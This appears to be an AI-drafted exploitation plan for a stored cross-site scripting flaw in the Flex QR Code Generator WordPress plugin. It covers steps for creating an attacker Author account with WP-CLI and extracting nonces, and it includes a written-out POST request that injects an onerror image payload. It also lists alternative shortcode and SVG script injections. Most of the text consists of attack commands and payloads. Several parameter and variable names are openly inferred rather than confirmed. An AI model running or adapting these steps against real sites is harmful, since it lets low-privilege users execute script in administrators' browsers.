Flex QR Code Generator <= 1.2.10 - Authenticated (Author+) Stored Cross-Site Scripting

This plan outlines the steps to investigate and exploit a Stored Cross-Site Scripting (XSS) vulnerability in the Flex QR Code Generator plugin (<= 1.2.10). Since source files are not provided, this plan relies on common WordPress plugin patterns and the vulnerability description.

1. Vulnerability Summary

The Flex QR Code Generator plugin fails to properly sanitize and escape user-supplied data when saving and displaying QR code configurations. This allows authenticated users with Author-level permissions or above to inject malicious scripts. These scripts are stored in the WordPress database (as post meta or options) and executed in the browser of any user (including administrators) who views the page containing the malicious QR code.

2. Attack Vector Analysis

• Target Endpoint: Likely the standard WordPress post editor (/wp-admin/post.php) or a specialized AJAX handler (/wp-admin/admin-ajax.php) used for saving QR code details.
• Vulnerable Parameter: Parameters related to QR code content, such as title, label, text, or margin (inferred).
• Authentication Level: Author or higher (capability: publish_posts or edit_posts).
• Preconditions: The plugin must be active, and the attacker must have permission to create or edit the content (likely a Custom Post Type or Post Meta) that generates the QR code.

3. Code Flow (Inferred)

1. Entry Point (Input): An Author user submits a request to save a QR code. This usually happens via an admin_init hook, a save_post hook, or a wp_ajax_ action.
2. Processing: The plugin receives the input (e.g., $_POST['qr_label_text']).
3. Storage: The plugin calls update_post_meta() or update_option() without applying sanitize_text_field() or wp_kses().
4. Retrieval: When a page with the QR code is loaded (often via a shortcode), the plugin calls get_post_meta() or get_option().
5. Sink (Output): The plugin echoes the retrieved value directly into the HTML or inside a <script> block without using esc_html(), esc_attr(), or esc_js().

4. Nonce Acquisition Strategy

If the plugin uses a custom AJAX handler or a settings page, it likely requires a nonce.

1. Identify Shortcode: Scan the plugin for add_shortcode. (e.g., [flex-qr-code] or [flexqr]).
2. Create Content: Create a post containing that shortcode to ensure the plugin's assets are loaded.

   wp post create --post_type=post --post_status=publish --post_title="QR Test" --post_content='[flexqr id="123"]' --user=author_user
   

3. Navigate and Extract:
   • Use browser_navigate to visit the newly created post.
   • The plugin likely localizes scripts using wp_localize_script. Look for the variable name in the page source.
   • Inferred JS Variable: window.flex_qr_config or window.flex_qr_ajax.
   • Extraction Command: browser_eval("window.flex_qr_config?.nonce || window.flex_qr_ajax?.nonce")
4. Fallback: If the vulnerability exists in the post meta box, the nonce will be in the _wpnonce field of the post editor form.

5. Exploitation Strategy

We will attempt to inject the payload into a QR code attribute that is rendered on the frontend.

• Step 1: Identify Save Action
  Perform a grep to find where the plugin saves data:
  grep -r "update_post_meta" . or grep -r "update_option" .
• Step 2: Craft Payload
  We will use a payload that breaks out of common attributes:
  "><img src=x onerror=alert(document.domain)>
• Step 3: Send Exploit Request (Example: Custom Post Type)
  If the plugin uses a Custom Post Type (CPT) for QR codes:

  {
    "method": "POST",
    "url": "https://TARGET/wp-admin/post.php",
    "headers": {
      "Content-Type": "application/x-www-form-urlencoded"
    },
    "body": "action=editpost&post_ID=[ID]&_wpnonce=[NONCE]&flex_qr_label=\"><img src=x onerror=alert(document.domain)>"
  }
  

• Step 4: Trigger the XSS
  Navigate to the public post or page where the QR code is displayed.

6. Test Data Setup

1. Create Author User:
   wp user create attacker author@example.com --role=author --user_pass=password123
2. Identify QR Code Mechanism: Check if QR codes are created via a new menu item (Custom Post Type) or added to existing posts.
3. Create a Sample QR Code: Create a base QR code to get its ID for the edit request.

7. Expected Results

• The http_request for the save operation should return a 302 (redirect) or 200 OK (AJAX success).
• When the page is viewed, the HTML source should contain the unescaped payload:
  <div class="qr-label">"><img src=x onerror=alert(document.domain)></div>
• A browser-based execution will trigger the alert(document.domain) popup.

8. Verification Steps

1. Verify Database State:
   Use WP-CLI to check if the payload is stored raw:
   wp post meta list [ID] or wp option get [OPTION_NAME]
2. Verify Frontend Output:
   Use http_request (GET) to the public URL and check for the presence of the unescaped string:
   grep "onerror=alert" response_body.txt

9. Alternative Approaches

• Shortcode Injection: If the plugin doesn't save to the DB but has a vulnerable shortcode attribute:
  [flexqr label='<script>alert(1)</script>']
  Authors can typically publish posts with any shortcodes.
• SVG Injection: If the plugin generates QR codes as SVGs and allows custom colors or labels, attempt to inject into the SVG tags:
  flex_qr_color=red"><script xmlns="http://www.w3.org/2000/svg">alert(1)</script>
• Admin Page XSS: If the payload executes in the wp-admin dashboard when an administrator views the list of QR codes, this increases the severity. Check the flex-qr-code-generator admin list page.